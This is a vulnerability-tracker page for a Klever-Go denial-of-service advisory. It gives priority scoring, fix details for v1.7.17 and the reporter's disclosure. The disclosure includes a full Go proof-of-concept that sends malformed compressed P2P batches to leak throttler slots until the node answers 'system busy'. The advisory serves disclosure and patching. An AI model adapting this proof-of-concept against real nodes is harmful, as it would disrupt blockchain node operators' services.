GHSA-74m6-4hjp-7226: Klever-Go P2P MultiDataInterceptor leaks global throttler slots on malformed compressed batches (DoS)
Noroxi assessment
Priority: Monitor (action score 30/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
- Fixed version: github.com/klever-io/klever-go (Go) 1.7.17.
Low priority for now. Upgrade to github.com/klever-io/klever-go (Go) 1.7.17 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
## Publisher note **Fixed in `v1.7.17`.** Operators running `< v1.7.17` should upgrade. The decompression-error path in `MultiDataInterceptor.ProcessReceivedMessage` now releases the global throttler slot before returning (guarded `defer` after `StartProcessing()`, disabled when the asynchronous goroutine takes ownership). Patch commits on `develop`: 333f6ec9, 68b94a40 (merged from private fork `klever-io/klever-go-ghsa-74m6-4hjp-7226`). This advisory was originally filed jointly with a separate KVM read-only isolation bypass; that finding is now tracked under [GHSA-jc6w-wmfc-fh33](https://github.com/klever-io/klever-go/security/advisories/GHSA-jc6w-wmfc-fh33) so each issue receives its own CVE. The original disclosure from @LoGGGG240211 follows verbatim, including the embedded proof-of-concept source. --- # Private Vulnerability Report Repository: klever-io/klever-go Reviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2 Disclosure channel: GitHub Private Vulnerability Reporting Reporter GitHub account: LoGGGG240211 ## 2.1 MultiDataInterceptor malformed compressed batches permanently consume global P2P throttler slots Severity : High Confidence : HIGH Attack Complexity : LOW PoC Status : Confirmed ### Description The P2P `MultiDataInterceptor` starts throttled processing before it validates and decompresses a received batch. `PreProcessMessage` checks whether the global interceptor throttler can process the message and then calls `StartProcessing()`. After that point, `ProcessReceivedMessage` unmarshals the batch and enters the compressed-batch branch when `b.IsCompressed` is true. If `b.Decompress()` fails, the function logs the gzip error and returns immediately without calling `EndProcessing()`. This creates a permanent slot leak in the interceptor throttler. The normal successful path releases the slot only later in the asynchronous processing goroutine. Other validation error paths release the slot explicitly, but the decompression-error path does not. The impact is amplified because the same global throttler is shared by transaction multi-data interceptors, trie-node multi-data interceptors, and header interceptors. The hardcoded global capacity is 100, so a connected peer that can deliver 100 malformed compressed batch envelopes can cause later valid P2P interceptor processing on the affected node to fail with `system busy` until the process is restarted or the throttler state is otherwise reset. ### Location 1. [baseDataInterceptor.go, PreProcessMessage(), line 42](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/interceptors/baseDataInterceptor.go#L42) 2. [baseDataInterceptor.go, PreProcessMessage(), line 47](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/interceptors/baseDataInterceptor.go#L47) 3. [multiDataInterceptor.go, ProcessReceivedMessage(), line 95](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/interceptors/multiDataInterceptor.go#L95) 4. [multiDataInterceptor.go, ProcessReceivedMessage(), line 99](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/interceptors/multiDataInterceptor.go#L99) 5. [baseInterceptorsContainerFactory.go, numGoRoutines, line 21](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go#L21) 6. [baseInterceptorsContainerFactory.go, createOneTxInterceptor(), line 160](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go#L160) 7. [baseInterceptorsContainerFactory.go, createOneTrieNodesInterceptor(), line 190](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go#L190) 8. [baseInterceptorsContainerFactory.go, generateMetachainHeaderInterceptors(), line 232](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go#L232) ### Preconditions 1. The attacker can connect as a P2P peer or otherwise send P2P messages that reach a `MultiDataInterceptor` topic handler. 2. The malformed message must pass the outer preprocessing checks before the decompression branch. 3. No validator role, private key, capital, oracle condition, or timing condition is required. ### Impact Successful exploitation causes a persistent per-node denial of P2P interceptor processing until node restart or throttler reset. The affected throttler is shared across transaction batch processing and trie-node sync processing, and header processing also uses the same throttler. The PoC demonstrates the concrete effect with a capacity-2 throttler: two malformed compressed batches leak both slots and the third message returns `system busy`. In the reviewed codebase, the production factory hardcodes the shared capacity to 100, so the same condition is expected after approximately 100 malformed compressed batches. The impact is reversible by restarting the node or otherwise resetting the throttler state. ### Exploit Cost No gas and no protocol capital are required. The practical cost is the network cost of sending malformed compressed P2P batch messages to the target node, approximately 100 messages for the hardcoded production global capacity. ### Steps to Reproduce 1. Place `poc_mdi_throttler_slot_leak_test.go` in an empty directory. 2. Run the dependency commands listed in the PoC header. 3. Run `GOTOOLCHAIN=go1.25.9 go test -v poc_mdi_throttler_slot_leak_test.go`. 4. Observe that the first proof increments `StartProcessing()` without incrementing `EndProcessing()` after a gzip decompression error. 5. Observe that the second proof uses a real capacity-2 throttler and reaches `system busy` on the third malformed compressed batch. ### Proof-of-Concept Result Running `GOTOOLCHAIN=go1.25.9 go test -v poc_mdi_throttler_slot_leak_test.go` after dependency setup produces the following output. The result confirms that malformed compressed batches leak throttler slots and cause a real throttler to reject later processing as `system busy`. ```text === RUN TestPoC_MalformedCompressedBatchLeaksThrottlerSlot ERROR[2026-04-28 13:35:04.398] MultiDataInterceptor.ProcessReceivedMessage err = gzip: invalid header poc_mdi_throttler_slot_leak_test.go:108: process_error=gzip: invalid header poc_mdi_throttler_slot_leak_test.go:109: start_count_before=0 poc_mdi_throttler_slot_leak_test.go:110: start_count_after=1 poc_mdi_throttler_slot_leak_test.go:111: end_count_before=0 poc_mdi_throttler_slot_leak_test.go:112: end_count_after=0 ERROR[2026-04-28 13:35:04.398] MultiDataInterceptor.ProcessReceivedMessage err = gzip: invalid header ERROR[2026-04-28 13:35:04.398] MultiDataInterceptor.ProcessReceivedMessage err = gzip: invalid header poc_mdi_throttler_slot_leak_test.go:133: real_throttler_attempt_1=gzip: invalid header poc_mdi_throttler_slot_leak_test.go:134: real_throttler_attempt_2=gzip: invalid header poc_mdi_throttler_slot_leak_test.go:135: real_throttler_attempt_3=system busy --- PASS: TestPoC_MalformedCompressedBatchLeaksThrottlerSlot (0.00s) PASS ok command-line-arguments 0.002s ``` ### Suggested Fix Ensure that every path after `StartProcessing()` releases the throttler slot exactly once. A direct fix is to call `EndProcessing()` before returning from the decompression-error branch. A more robust fix is to use a guarded `defer` immediately after `StartProcessing()` and disable that defer only when the asynchronous goroutine takes ownership of releasing the slot. ## Closing I am available to answer technical questions regarding these findings and to review proposed fixes prior to deployment. Please contact me through this disclosure thread or through the email address associated with this submission. ## Proof-of-Concept Source ### poc_mdi_throttler_slot_leak_test.go ```go package poc /* Target contract : Klever-Go P2P MultiDataInterceptor; no on-chain address Vulnerability : Denial of service through leaked global P2P throttler slots Severity : High How to run : GOTOOLCHAIN=go1.25.9 go test -v poc_mdi_throttler_slot_leak_test.go Expected output : The test passes and logs that a real throttler returns system busy after malformed compressed batches Dependencies : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/klever-go@v1.7.17-0.20260422114731-405d01b0abbf; go mod tidy */ import ( "errors" "fmt" "testing" "github.com/klever-io/klever-go/common" "github.com/klever-io/klever-go/common/mock" "github.com/klever-io/klever-go/core" "github.com/klever-io/klever-go/core/process/interceptors" "github.com/klever-io/klever-go/core/throttler" "github.com/klever-io/klever-go/data/batch" ) func malformedCompressedBatchPayload(t *testing.T, marshalizer *mock.MarshalizerMock) []byte { t.Helper() // Build a syntactically valid batch envelope whose compressed stream is not valid gzip. payload, err := marshalizer.Marshal(&batch.Batch{ IsCompressed: true, Stream: []byte("not-a-gzip-stream"), DataSize: 1, }) if err != nil { t.Fatalf("marshal malformed compressed batch: %v", err) } return payload } func newMultiDataInterceptor(t *testing.T, marshalizer *mock.MarshalizerMock, throttlerArg interface { CanProcess() bool StartProcessing() EndProcessing() IsInterfaceNil() bool }) *interceptors.MultiDataInterceptor { t.Helper() // Use the production transaction topic and production MultiDataInterceptor constructor. arg := interceptors.ArgMultiDataInterceptor{ Topic: common.TransactionTopic, Marshalizer: marshalizer, DataFactory: &mock.InterceptedDataFactoryStub{}, Processor: &mock.InterceptorProcessorStub{}, Throttler: throttlerArg, AntifloodHandler: &mock.P2PAntifloodHandlerStub{}, WhiteListRequest: &mock.WhiteListHandlerStub{}, CurrentPeerID: core.PeerID("local-peer"), } mdi, err := interceptors.NewMultiDataInterceptor(arg) if err != nil { t.Fatalf("construct MultiDataInterceptor: %v", err) } return mdi } func malformedP2PBatchMessage(payload []byte, sequence int) *mock.P2PMessageMock { // Build a P2P message that passes outer message preprocessing and reaches decompression. return &mock.P2PMessageMock{ DataField: payload, PeerField: core.PeerID("origin-peer"), SeqNoField: []byte(fmt.Sprintf("seq-%d", sequence)), } } func TestPoC_MalformedCompressedBatchLeaksThrottlerSlot(t *testing.T) { marshalizer := &mock.MarshalizerMock{} // First prove that a malformed compressed batch calls StartProcessing without a matching EndProcessing. countingThrottler := &mock.InterceptorThrottlerStub{ CanProcessCalled: func() bool { return true }, } mdiWithCountingThrottler := newMultiDataInterceptor(t, marshalizer, countingThrottler) payload := malformedCompressedBatchPayload(t, marshalizer) message := malformedP2PBatchMessage(payload, 1) startBefore := countingThrottler.StartProcessingCount() endBefore := countingThrottler.EndProcessingCount() err := mdiWithCountingThrottler.ProcessReceivedMessage(message, core.PeerID("connected-peer")) startAfter := countingThrottler.StartProcessingCount() endAfter := countingThrottler.EndProcessingCount() // The vulnerable branch returns the gzip error after StartProcessing but before EndProcessing. if err == nil { t.Fatalf("expected gzip error, got nil") } if startAfter != startBefore+1 { t.Fatalf("expected one throttler start, before=%d after=%d", startBefore, startAfter) } if endAfter != endBefore { t.Fatalf("expected no throttler end on decompress error, before=%d after=%d", endBefore, endAfter) } t.Logf("process_error=%v", err) t.Logf("start_count_before=%d", startBefore) t.Logf("start_count_after=%d", startAfter) t.Logf("end_count_before=%d", endBefore) t.Logf("end_count_after=%d", endAfter) // Then prove direct impact with a real capacity-2 throttler. realThrottler, err := throttler.NewNumGoRoutinesThrottler(2) if err != nil { t.Fatalf("construct real throttler: %v", err) } mdiWithRealThrottler := newMultiDataInterceptor(t, marshalizer, realThrottler) err1 := mdiWithRealThrottler.ProcessReceivedMessage(malformedP2PBatchMessage(payload, 2), core.PeerID("connected-peer")) err2 := mdiWithRealThrottler.ProcessReceivedMessage(malformedP2PBatchMessage(payload, 3), core.PeerID("connected-peer")) err3 := mdiWithRealThrottler.ProcessReceivedMessage(malformedP2PBatchMessage(payload, 4), core.PeerID("connected-peer")) // The third attempt is rejected as system busy because leaked slots were not released. if err1 == nil || err2 == nil { t.Fatalf("expected first two malformed attempts to return gzip errors, got err1=%v err2=%v", err1, err2) } if !errors.Is(err3, common.ErrSystemBusy) { t.Fatalf("expected third attempt to hit system busy, got %v", err3) } t.Logf("real_throttler_attempt_1=%v", err1) t.Logf("real_throttler_attempt_2=%v", err2) t.Logf("real_throttler_attempt_3=%v", err3) } ```
- Published
- Jun 4, 2026
- Updated
- Jun 25, 2026
- EPSS
- —
- CWE
- CWE-400
Report tools
Action score
30
Low priority for now.
- CVSS
- 30 / 40 · 7.5 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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- No public exploit code on record
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The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.
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| Vendor | Product | CPE |
|---|---|---|
| Go | github.com/klever-io/klever-go | pkg:golang/github.com/klever-io/klever-go |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| Go | github.com/klever-io/klever-go | before 1.7.17 | 1.7.17 |
Same product
Go: all recordsOther highest-scoring records for the same primary product.
- GO-2026-5204Klever-Go P2P MultiDataInterceptor leaks global throttler slots on malformed compressed batches (DoS) in github.com/klever-io/klever-go0Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| Go:github.com/klever-io/klever-go | 1.7.17 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- none
- Integrity
- none
- Availability
- high · the service can be disrupted
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality impact
- None
- Integrity impact
- None
- Availability impact
- High
Weakness class (CWE)
CWE-400 · Uncontrolled Resource ConsumptionCVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
osv
Root cause
Code that parses nested structures sets no depth or size limit. A small input can turn into a disproportionate processing load.
The bug in code
The whole CWE-400 classA representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.
Vulnerable
function expand(node) {
return node.children.map(expand);
}Fixed
const MAX_DEPTH = 32;
function expand(node, depth = 0) {
if (depth > MAX_DEPTH) throw new Error("too deep");
return node.children.map((c) => expand(c, depth + 1));
}Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Change log (1)
- Fix✗ → ✓
For records you follow, these changes also arrive as notifications. →
References
Show all references (3 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.